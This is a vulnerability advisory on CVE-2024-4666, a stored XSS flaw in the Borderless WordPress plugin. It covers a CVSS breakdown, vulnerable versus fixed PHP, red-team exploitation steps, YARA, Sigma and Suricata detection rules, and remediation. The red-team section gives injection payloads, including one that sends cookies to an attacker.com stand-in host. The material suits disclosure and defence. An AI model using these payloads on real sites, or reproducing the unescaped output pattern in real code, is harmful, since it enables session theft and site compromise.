CVE-2024-4666

Executive Summary

CVE-2024-4666 is a Stored Cross-Site Scripting (XSS) vulnerability in the Borderless – Widgets, Elements, Templates and Toolkit for Elementor & Gutenberg WordPress plugin. The flaw exists in all versions up to and including 1.5.3, allowing authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via multiple widgets. The vulnerability stems from insufficient input sanitization and output escaping on user-supplied attributes. When a victim accesses a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using the Borderless plugin version 1.5.3 or earlier is exposed. The plugin is a third-party component that extends the functionality of Elementor and Gutenberg page builders. Since the patch status is unknown, users must rely on manual mitigation or removal of the plugin until an official update is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for widespread exploitation in multi-author WordPress sites is significant.

Deep Dive & Mechanics

The vulnerability resides in multiple widgets provided by the Borderless plugin. These widgets accept user-supplied attributes (e.g., CSS classes, data attributes, or inline styles) that are not properly sanitized or escaped before being rendered in the HTML output. An attacker with contributor-level access can create or edit a post/page and insert a vulnerable widget, injecting a malicious payload such as:

<img src=x onerror=alert('XSS')>

or

<a href="javascript:alert('XSS')">Click me</a>

When the page is viewed by any user (including administrators), the script executes in the context of the victim's browser. This can lead to:

• Theft of session cookies
• Redirection to malicious sites
• Defacement of the WordPress site
• Privilege escalation if an admin views the page

The vulnerability is classified as Stored XSS because the payload is permanently stored in the database and served to all visitors.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described below.

Vulnerable Code (example from a widget):

// In a widget's render method
$class = $settings['custom_class'];
echo '<div class="' . $class . '">...</div>';

Here, $class is directly output without sanitization, allowing injection of "><script>alert(1)</script>.

Patched Code (expected fix):

$class = sanitize_html_class($settings['custom_class']);
echo '<div class="' . esc_attr($class) . '">...</div>';

The fix would involve using sanitize_html_class() and esc_attr() to ensure only safe characters are output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Borderless plugin <= 1.5.3
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Add a vulnerable widget (e.g., "Borderless Button" or "Borderless Heading").
4. In the widget's attribute field (e.g., "Custom CSS Class"), inject:

   " onmouseover="alert(document.cookie)
   

5. Publish the post.
6. When an admin or other user hovers over the element, the script executes.

Alternative payload:

<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Blue Team

Detection:

• Monitor for posts/pages containing suspicious HTML attributes in widget fields.
• Use WAF rules to block common XSS patterns in POST requests.
• Review user activity logs for unusual widget modifications.

Hunting:

• Search the database for <script> tags or event handlers in post content.
• Look for onerror, onload, onmouseover attributes in widget output.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/borderless/ (presence of plugin version <= 1.5.3)
• Database: Posts/pages containing <script> tags or event handlers in widget attributes.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• Logs: Unusual widget attribute values in wp_postmeta table.

Detection Engineering

YARA Rule

rule CVE_2024_4666_Borderless_XSS {
    meta:
        description = "Detects malicious widget attributes in Borderless plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4666"
    strings:
        $xss1 = /on\w+\s*=\s*['\"][^'\"]*['\"]/ nocase
        $xss2 = /<script[^>]*>/i
        $xss3 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-4666 Borderless Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts via Borderless plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains:
            - 'onerror='
            - 'onload='
            - 'onmouseover='
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4666 Borderless Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"onerror="; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Borderless plugin until an official patch is released.
2. Review and remove any suspicious posts/pages created by contributors.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term:

• Monitor the plugin's official page for updates.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Restrict contributor-level access to trusted users only.
• Use a security plugin (e.g., Wordfence) to scan for malicious content.

Workaround:

• If the plugin cannot be disabled, manually edit the vulnerable widget files to add esc_attr() and sanitize_html_class() functions.

Valters IT
Securing Digital Frontiers